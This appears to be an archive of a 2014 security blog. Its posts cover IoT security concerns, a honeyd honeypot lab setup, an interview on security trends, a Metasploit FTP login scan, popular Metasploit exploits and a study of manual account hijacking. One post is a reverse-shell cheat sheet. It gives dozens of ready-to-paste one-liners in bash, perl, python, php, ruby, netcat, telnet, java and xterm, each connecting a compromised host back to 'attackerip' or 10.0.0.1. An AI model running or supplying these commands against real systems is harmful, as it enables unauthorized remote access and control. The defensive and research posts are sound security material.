Friday, 19 December 2014

Real Life of IoT Security Threats, No Theory Here

What Is the Internet of Things?

    “Internet of Things is the network of physical objects that contain embedded technology to communicate and sense or interact with their internal states or the external environment.”

    -Gartner IT Glossary

This type of network is generally made up of wired and wireless devices that are able to communicate to other devices of the same type. Gartner estimates that the growth of IoT should reach over 26 billion units by 2020. ABI research actually believes that number to be low, estimating IoT to reach over 30 billion units by 2020.
 
IoT Security Concerns

On the surface, the idea of smart homes, smart work, and smart life sounds enticing. The possibilities created by enabling technology to improve the way we work and live are endless. But new technologies also mean new threats. It’s critical that IoT vendors understand the implications their devices will have in personal and network security and address these security concerns with their Internet-able devices.

Widespread

In IoT there is no one device to rule them all. “Things” is the key. It’s likely that at home and at work, users will need to get used to multiple devices connected to a network and understand the implication of the growth in threats to their personal privacy and data security.

Instead of worrying about protecting a computer, in the Internet of Things users will need to consider protection for computers, routers, hard drives, cars, appliances, WiFi routers, home security systems, and more.

Uncommon
Computers had time to mature before having to deal with network connectivity and integrating the Internet into their day-to-day processes. IoT devices are growing up with Internet connectivity. Although basic computer maintenance and updates are becoming more common for everyday users, device maintenance is still an uncharted area for most.

How will users manage patching and updating IoT devices as new security issues require firmware updates? How will vendors manage the ongoing security of their devices and certificate deployment?

Multi-Connected

In the early days of computers, networks were closed and trusted. Today they are open and vulnerable to bad actors. Vendors will need to ensure that hardware providers for their products are trusted and understand the security implications of the data being transmitted to and from these devices.

Each vendor will most likely have custom sets of hardware, software, APIs, and update processes.

All of the possible IoT devices will need to learn to communicate just like computers did, but in an already open and threat-prone Internet environment. Data security has to be first and foremost as IoT devices are deployed.
 
Real Life IoT Security Threats, No Theory Here

Stanislav and Lanier pointed out a “theoretical” exploit against a typical security camera with a vulnerability. While they considered the exploit “theoretical,” users who attempted the exploit learned how easy it was to really bypass default security on a popular security camera device.

Without proper security and authentication, IoT devices could simply offer hackers an open door into our work and home. And even if we lock the front door, a vulnerability in our home security system could easily allow a bad actor to unlock the front door or trigger a false CO2 warning and sneak in the back door.
 
Where IoT Security is Needed

A number of considerations need to be made in terms of how to secure IoT devices and ensure that data security between devices communicating in IoT networks is done correctly. The Duo team identified the following security areas as a start:
  1.     Proper encoding of web service credentials
  2.     Secured local video streaming
  3.     Easy-to-manage firmware upgrades
  4.     Mobile device access and authentication
  5.     Strong password policies for device authentication
  6.     Strong WiFi security
  7.     Secured 3rd party service connections
  8.     Encrypted storage of customer data
  9.     Customer data segmentation with back end systems

The growth forecasted by Gartner and other industry research groups shows that IoT development won’t happen just with the top-end vendors. There are already hundreds of IoT-related organizations. If you search for device projects on Kickstarter or other crowd funding sites you’ll see many startups producing IoT devices. Many entrepreneurs don’t come from IT security backgrounds and an early stage startup often can’t afford security researchers to put IoT devices through rigorous security testing. And these organizations usually don’t simply add IoT capabilities to existing consumer products, they’ll be at the forefront of IoT in ways we haven’t yet imagined.
 

PKI is Critical to IoT Security

Managed PKI services are a critical component of IoT security. From certificate deployment to vulnerability scanning and security management, managed certificate systems can make it easy to deploy strong security for IoT data encryption, eliminating a key security concern for IoT.

Certificate-based security remains the most reliable way to secure connections and information exchange between mobile apps and IoT devices, device to device communication, and IoT device API calls.
 

IoT Security Best Practices

Ensuring that security best practices are used is key to getting data security right for the Internet of Things. In addition to data encryption and secured access with digital certificates, organizations like Builditsecure.ly are making it easier to connect IoT device manufacturers with the security community for testing and consulting during the development process.

Organizations like Builditsecure.ly enable better security by:

  1.     Researching IoT security developments for consumers, vendors, and industry experts
  2.     Developing resources and educating IoT vendors on security best practices
  3.     Building partnerships between the security community and IoT developers
  4.     Coordinating security research and testing of new IoT devices by researchers

Asking security questions and discussing security concerns and implications shouldn’t be taboo. Researchers and vendors need to come together and have open dialogues on how IoT device security needs to be done in order to make sure that future vulnerabilities are addressed and the capability for ongoing monitoring and updating is in place.

Vendors must realize that lack of security or even one severe vulnerability in their IoT devices creates a lack of trust in their services and could mean the end of their business.

The Internet of Things is still in development. It’s early enough in its life that security can be done right to enable these devices and make a positive impact while limiting the repercussions of the lack of data security.

Wednesday, 17 December 2014

Easy way to set up honeyd Research Lab on your Virtualbox

What is honeyd:

Honeyd is a small daemon that creates virtual hosts on a network. The hosts can be configured to run arbitrary services, and their personality can be adapted so that they appear to be running certain operating systems. Honeyd enables a single host to claim multiple addresses - I have tested up to 65536 - on a LAN for network simulation. Honeyd improves cyber security by providing mechanisms for threat detection and assessment. It also deters adversaries by hiding real systems in the middle of virtual systems. Honeyd is open source software released under GNU General Public License.

 

 How to Setup honeyd:

I have Installed KaliLinux and Backtrack 5 on my Windows 8 virtual box. I am going to setting up the Honeyd in Backtrack 5 and will test it from KaliLinux.
Stage -1 
Install virtual box on Windows operating system
Stage -2
Install BackTrack and KaliLinux  on virtual box with bridged mode.
Stage -3
  
 Edit  the honeyd config file in Backtrack 5 Operating system.
    Configure honeyD
1.    Open a terminal window on Backtrack 5
2.    Open a configuration file by typing the following command at the terminal prompt
gedit  honeyd.conf
This will open a file by name honeyd.conf
Type the following,

create default
set default personality “Win98"
set default defaulttcp action block
set default defaultudp action block
set default defaulticmp action block


*/default is created so that in case no behavior is specified for a particular IP, honeyD will default to default behavior.  Default behavior of ports is as follows,
TCP – open - Respond with Syn/Ack, establish connection
UDP - closed*/

create windows
set windows personality "Microsoft Windows XP Professional sp1l"
set windows default tcp action reset
add windows tcp port 135 open
add windows tcp port 139 open
add windows tcp port 445 open
set windows ethernet "00:00:24:ab:8c:12"
bind 192.168.0.44 windows


create solaris
set solaris personality "Microsoft Windows XP Professional"
set solaris default tcp action reset
add solaristcp port 22 open
add solaristcp port 2049 open
set solarisethernet "00:00:24:ab:8c:13"
bind 192.168.0.45 solaris
 
Save and close file
Stage 4:
    Go back to the terminal window.
    Type the command,
    honeyd  -d  -f  ¬i eth0 honeyd.conf
/* eth is selected depending on wifi, Ethernet etc*/
Stage 5: 

Testing the Honeyd labGo to the KaliLinux terminal  and do the nmap  scan against virtual solaris IP  which is created using honeyd
            nmap 192.168.0.45
 
   See the alert message which is pop upped in Backtrack 5 about Nmap scanning

 Using honeyd we can create more virtual systems and we can test the same. There is big researches are carrying out to  find better honeypot security on cyber.Hope you enjoy this tutorial. 

About an Author :
Pramod Kumar - G+
Research Mentor - IOT
BINT - Researcher

Monday, 15 December 2014

Count Down Start 2015 - New IoT risks are on the way

Risk-based security and self-protection has been identified as a key technology trend as we move into the new year. Businesses will need to acknowledge that they cannot provide a 100 per cent secured environment and that more sophisticated risk assessment and mitigation tools will come into importance. According to Gartner, “security-aware application design, dynamic and static application security testing, and runtime application self- protection combined with active context-aware and adaptive access controls” will be crucial in today’s dynamic and digital world.
Naveen Bhat, General Manager, Ixia Asia Pacifc, shares some of the key security trends facing companies in the coming year and steps they need to take to mitigate any risks.
What are some of the most urgent new security threats facing companies and what do companies need to do to prepare themselves in the coming year? 
The damaging attacks that occurred in the last year were silent but deadly. Stealthy attackers managed to slip by defences or find new ways of launching attacks to get into the network and cause maximum damage via breaches of significant amounts of data.
Legacy testing devices generate only canned traffic and configurations, leading to inaccurate security, stability, and performance results. It is important for companies to test using tools that can create accurate simulations of vulnerable traffic, such as personal information and corporate IP, to ensure that DLP measures work like they’re supposed to. Most organizations run about 30 applications simultaneously across their networks and they need to be able to test under those conditions.
Proper security and performance testing helps organisations to meet compliance requirements and prevent data breaches. Often, organisations overdesign their networks by purchasing any security measures they can get budget for, yet they still experience a security attacks.
Application protocols and security attacks are continuously evolving, so testing tools must remain current as well as to ensure protection. Staying on top of emerging network traffic is a full-time job – one that organisations do not have the time to do – so organisations need test equipment that delivers regular updates for applications and attacks. That lets them harden the resiliency of devices, networks and data centers knowing that the most up-to- date conditions are used.
What has been the most important cyber security breakthrough in 2014 and what breakthroughs or advancements do you expect we’ll see in the near future? What solutions are sorely lacking? 
Visualization and cloud adoption are on the rise. As a result, we have begun to see security solutions that can offer control and defence within virtual environments. The same has also begun to happen for cloud deployments where security must now extend from the premise to the cloud. To enable the confident and secure adoption of cloud within enterprises, the ability to extend security policies and controls across private and public clouds will be key.
What new technologies will attract the most attention from the hacking community? 
We have yet to see attackers really target mobile platforms, partly because there has been easier targets, such as, Point of Sales system in 2014.
With the pervasive adoption of mobility and more business functions and applications being delivered across mobile platforms, there is a fresh opportunity for attackers moving forward. The danger is that often user’s security hygiene on mobile platforms is not as good. For example, users will access guest networks on mobile devices in hotels and cafes, forgetting that they don’t offer the same level of security assurance as private networks.
What are the biggest security mistakes that companies are making and do you expect they will change? 
One of the biggest mistakes and on-going weaknesses is people. Behaviours and curiosity are a weak link, which is something that more innovative awareness programmes and training can help with. Secondly, companies are failing to assess security effectively. Too often products and technologies are put in place with an assumption that they will work and protect organisations effectively for the long-term. However, things change over time and often the specifications for a product may not be representative of the way it will perform in an organisation’s network in the future.
Finally, there is still an inadequate focus on security at the higher levels of a company and a lack of discussion or understanding about security strategies and the role that they play in addressing critical business risks.
As the ‘Internet of Things’ becomes a reality, will we start to see the first major attacks on connected devices and how prepared are companies for this? How has the landscape for Internet of Things changed in the past year? 
There is definitely a lot of buzz around the Internet of Things (IoT). When you consider potential attacks, there is a broad range of things that can be pursued. The more serious incidents will start to occur once sensors or controls that are connected to the IoT are breached, for example, traffic controls or industrial controllers.
While the IOT will provide tremendous benefits for how devices around us work and improve lives, it will be imperative to apply the appropriate security controls depending on the IoT device and the risk its misuse presents.
What new advances or challenges can we expect to see around compromise detection? 
The challenge is that the more data and events there are, the harder it becomes to see and understand the attacks that are either coming or have already happened. In the future, advances in big data analytics and the ability to make better use of available information, will represent an opportunity for improving threat identification and predictive modelling so organisations can take a significant step forward in enhancing existing security practices.
What advances can we expect to see in authentication? What advances in biometric authentication can we expect to see and how will these technologies see adoption in enterprise? What new challenges and issues will come to the fore as a result? 
Authentication has been on the verge of moving beyond just passwords to a more effective two factor authentication process for many years. Unfortunately, it has only really been adopted for specific, higher risk use cases.
Until it becomes more user-friendly and cost effective to deploy, two-factor authentication is likely to remain limited in deployment. In the future, advances in mobile devices, sensors and technologies are likely to come to the fore and play a greater role in developing new use cases.
What major laws and regulations around cyber security can we expect to be of concern to enterprises? 
We will likely see continued momentum around disclosure laws but more regulation about compliance is not necessarily an effective path. For example, there has long-been regulation, such as PCI-DSS, yet in the last year we have seen more retail attacks and breaches than ever before.
What will be the biggest new security challenges for companies around mobile device management? 
The protection and management of company owned data remains a significant challenge. We have not yet seen significant malware attacks targeted at mobile devices. What we have seen is the mixed use of mobile devices for work and pleasure, which puts business data at risk of being compromised. Mobile device management, encryption, containers and document level protection are all tools that can be used to help tackle this issue.
As security is increasingly out of IT departments’ control, how will trends in cloud and virtualisation affect enterprise security? 
As cloud and virtualisation evolve, security is likely to get better. To an extent, it is reverse logic that if 1000 organisations try to build and deploy a strong security strategy, there is a lot of variation and different approaches with various levels of staffing. However, if those projects are moved to the cloud, there are just several providers that can develop deep security expertise and have very effective security programmes. Many companies may actually benefit from this transition - especially those whose security efforts have fallen below that which cloud providers can effectively deliver.

Wednesday, 10 December 2014

FTP Authendication Attack with Metasploit

 

Name      : FTP Authentication Scanner
Module    : auxiliary/scanner/ftp/ftp_login
Version   : 14976
License   : Metasploit Framework License (BSD)
Rank       : Normal

Provided by: todb <todb@metasploit.com>

Description:
 
This module will test FTP logins on a range of machines and report
successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins
and hosts so you can track your access.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502

Example of successful login

msf  > use auxiliary/scanner/ftp/ftp_login
msf  auxiliary(ftp_login) > set rhosts External-IP
rhosts => External-IP

msf  auxiliary(ftp_login) > run
[*] External-IP:21 – Starting FTP login sweep
[*] Connecting to FTP server External-IP:21…
[*] Connected to target FTP server.
[*] External-IP:21 – FTP Banner: ‘220 Microsoft FTP Service\x0a\x0a’
[*] External-IP:21 FTP – Attempting FTP login for ‘anonymous':’chrome@example.com
[+] External-IP:21 – Successful FTP login for ‘anonymous':’chrome@example.com
[*] External-IP:21 – User ‘anonymous’ has READ access
[*] Successful authentication with read access on External-IP will not be reported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Example of successful login with READ/WRITE access

msf  auxiliary(ftp_login) > run
[*] External-IP:21 – Starting FTP login sweep
[*] Connecting to FTP server External-IP:21…
[*] Connected to target FTP server.
[*] External-IP:21 – FTP Banner: ‘220 Microsoft FTP Service\x0a\x0a’
[*] External-IP:21 FTP – Attempting FTP login for ‘anonymous':’chrome@example.com
[+] External-IP:21 – Successful FTP login for ‘anonymous':’chrome@example.com
[*] External-IP:21 – User ‘anonymous’ has READ/WRITE access
[*] Successful authentication with write access on External-IP will not be reported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Example of none successful login

msf  auxiliary(ftp_login) > run
[*] External-IP:21 – Starting FTP login sweep
[*] Connecting to FTP server External-IP:21…
[*] Connected to target FTP server.
[*] External-IP:21 – FTP Banner: ‘220 Microsoft FTP Service\x0a\x0a’
[*] External-IP:21 FTP – Attempting FTP login for ‘anonymous':’IEUser@’
[*] External-IP:21 FTP – Failed FTP login for ‘anonymous':’IEUser@’
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


If you don’t want to use metasploit but want to see same results you can use nmap

root@bt:~# nmap -sV -sC -p 21 remote-ip
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2010-06-02 02:04 BST
Nmap scan report for remote-ip
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_2010-06-02 02:04 61440 nc.exe
MAC Address: 00:02:03:04:05:06 (Micky Systems)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

Monday, 8 December 2014

Most famous Metasploit Auxillary modules top 10

At Rapid7, often get asked what the top 10 Metasploit modules are. This is a hard question to answer: What does "top" mean anyway? Is it a personal opinion, or what is being used in the industry? Because many Metasploit users work in highly sensitive environments, and because we respect our users' privacy, the product doesn't report any usage reports back to us.

We may have found a way to answer your questions: We looked at our metasploit.com web server stats, specifically the Metasploit Auxiliary and Exploit Database, which exploit and module pages were researched the most. Here they are, annotated with Tod Beardley's excellent comments:

  1. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues.
  2. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you’ve ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it.
  3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice.
  4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines -- this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2.
  5. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Not sure why this module is popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you.
  6. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): This module exploits CVE-2010-1240 in Adobe Reader. The idea is that you can embed and execute a Meterpreter PE Executable in a PDF, and when the user opens the PDF, surprise shells! Since it’s on this list, it’s probably the most popular social engineering-style module.
  7. Apache mod_isapi <= 2.2.14 Dangling Pointer (CVE-2010-0425): Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular.
  8. Java AtomicReferenceArray Type Violation Vulnerability (CVE-2012-0507): This was initially discovered in the wild as a Java 0-day, and this module represented the fevered work of sinn3r and Juan Vazquez, who turned out the first reliable public cross-platform exploit for the bug. The blog post "CVE-2012-0507 - Java Strikes Again" shows a screenshot of Meterpreter sessions on Windows, Ubuntu, and OSX systems. In fact, this may be the first publicly demonstrable Java exploit that Just Works against all three platforms for the vulnerable versions of Java -- no extra configuration or fingerprinting is needed.
  9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. Even though it’s a lowly #9, I’d bet it’s the most-used module in classroom and test environments.
  10. Microsoft Plug and Play Service Overflow (CVE-2005-1983, MSB-MS05-039): This exploits the Plug and Play service on Windows 2000. This is the exploit that MS06-040 replaced, though until MS06-040, this was the most reliable exploit around for Windows 2000. The Zotob worm used it. Note that while the exploit isn’t 100% reliable, failed attempts had a tendency to trigger a reboot of the target, so the next attempt would be 100% successful. In other words, for some people, the reboot-on-failure is really more of a feature than a bug.

Let us know if you find this ranking interesting so we can continue sharing it in the future. We're excited to see how this list will look next month, and what the major changes will be!

Reverse Shell's for exploit command execution attack

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234
 
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
 
First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall:
attacker$ nc -l -v attackerip 4444

Bash

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0
Or:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
Or:
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  # or:
while read line 0<&5; do $line 2>&5 >&5; done
See also Reverse Shell With Bash from GNUCITIZEN blog.

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
If the target system is running Windows use the following one-liner:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby

Longer Ruby reverse shell that does not depend on /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
If the target system is running Windows use the following one-liner:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:
nc -c /bin/sh attackerip 4444
Or:
/bin/sh | nc attackerip 4444
Or:
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Telnet
Of course, you can also use Telnet as an alternative for Netcat:
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp
xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:
Xnest :1
Then remember to authorise on your system the target IP to connect to you:
xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server
Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:
xterm -display attackerip:1
Or:
$ DISPLAY=attackerip:0 xterm
It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:
/usr/openwin/bin/xterm -display attackerip:1
 

Saturday, 6 December 2014

Reality of Manual account hijacking

       A vast majority of research focuses on automated and/or botnet exploits, which makes sense when considering the number of victims affected. However, a research team from Google and the University of California, San Diego chose a different path, looking at "manual account hacking." Exploits that are rare -- less than nine incidents for every one million people who use Google daily. "However, the damage manual hijackers incur is far more severe and distressing to users and can result in significant financial loss," the researchers mention in their paper Handcrafted fraud and extortion: Manual account hijacking in the wild. "These needle-in-a-haystack attacks are very challenging and represent an ongoing threat to internet users.

Types of account hijacking

To start, there are two types of account hijacks:
Automated account hijacking:  
Attacks that try to compromise user accounts via botnets or spam networks. This attack uses automated tools, attempting to maximize the attacker's ROI by scamming a small amount of money from thousands of victims.
Manual account hijacking: 
The bad guys hijack accounts looking for ways to steal money, ransom applications or data, leverage contact information for future attacks, or use sensitive personal data against the victim.
To explain the difference between automated exploits and manual attacks, the paper mentions, "Manual hijackers spend significant non-automated effort on profiling victims and maximizing the profit -- or damage -- they can extract from a single credential."
hijack.png
 Image: Google
The graph to the right depicts the relationship between number of accounts hijacked and the "depth of exploitation." It seems we can be thankful the more prevalent automated exploits are less exploitative.

Steal email credentials and profile the victim

The first step is stealing a victim's account login information. The paper mentions the most sought-after account is email followed by online financial accounts. For this discussion, the focus will be limited to email-account hijacking.
Once attackers have the login information, they decide quickly whether the account is worth further effort. The paper explains, "If the brief account value exploration yields promising results, the hijackers spend an additional 15 to 20 minutes per account sifting through emails, and finding ways to monetize the account."
The hijackers are hoping to find emails holding financial or personal data they can use on the current victim or improve their chances of exploiting the victim's contacts by making the scam email supposedly from the victim seem more realistic.
The profiling portion of the attack was of special interest to the researchers. They mention, "This systematic assessment phase and the fact that certain accounts are not exploited suggest that manual hijackers are 'professional' and follow a well-established playbook designed to maximize profits."
The researchers offer more evidence that well-organized groups are behind manual account hijacks:
● The individuals seemed to work according to a tight daily schedule. They started around the same time every day, and had a synchronized, one-hour lunch break. They were inactive over the weekends.
● All individuals followed the same daily time table, defining when to process the gathered password lists, and how to divide time between ongoing scams and new victims.
● They were operating from different IPs, on different victims, and in parallel with each other, but the tools and utilities they used were the same. They also shared certain resources such as phone numbers.
More validation for experts who contend online-crime syndicates are run with business-like precision.

Exploiting the victim's contacts

Most individuals, at one time or another, have received an email where someone is in trouble and needs money. Almost at once the scam is dismissed because the email -- an automated account hijacking attempt -- makes little sense. However, manual account hijacks are different. Being non-automated, attackers can inject material to personalizing the scam email.
The research team mentions there is a distinct pattern to most of the scam emails. They all tend to have:
● A story with credible details to limit the victim suspicion.
● Words or phrases that evoke sympathy and aim to persuade.
● An appearance of limited financial risk for the plea recipient as financial requests are requests for a loan with concrete promises of speedy repayment.
● Language that discourages the plea recipient from trying to verify the story by contacting the victim through another means of communication, often through claims that the victim's phone was stolen.
● An untraceable, fast, and hard-to-revoke yet safe-looking money transfer mechanism.

Defense strategies

The research paper then describes what email providers can do to prevent manual account hacking. Sadly, there are precious few for-sure user defenses other than second-factor authentication -- if it is available use it. Two-factor authentication will thwart the bad guys.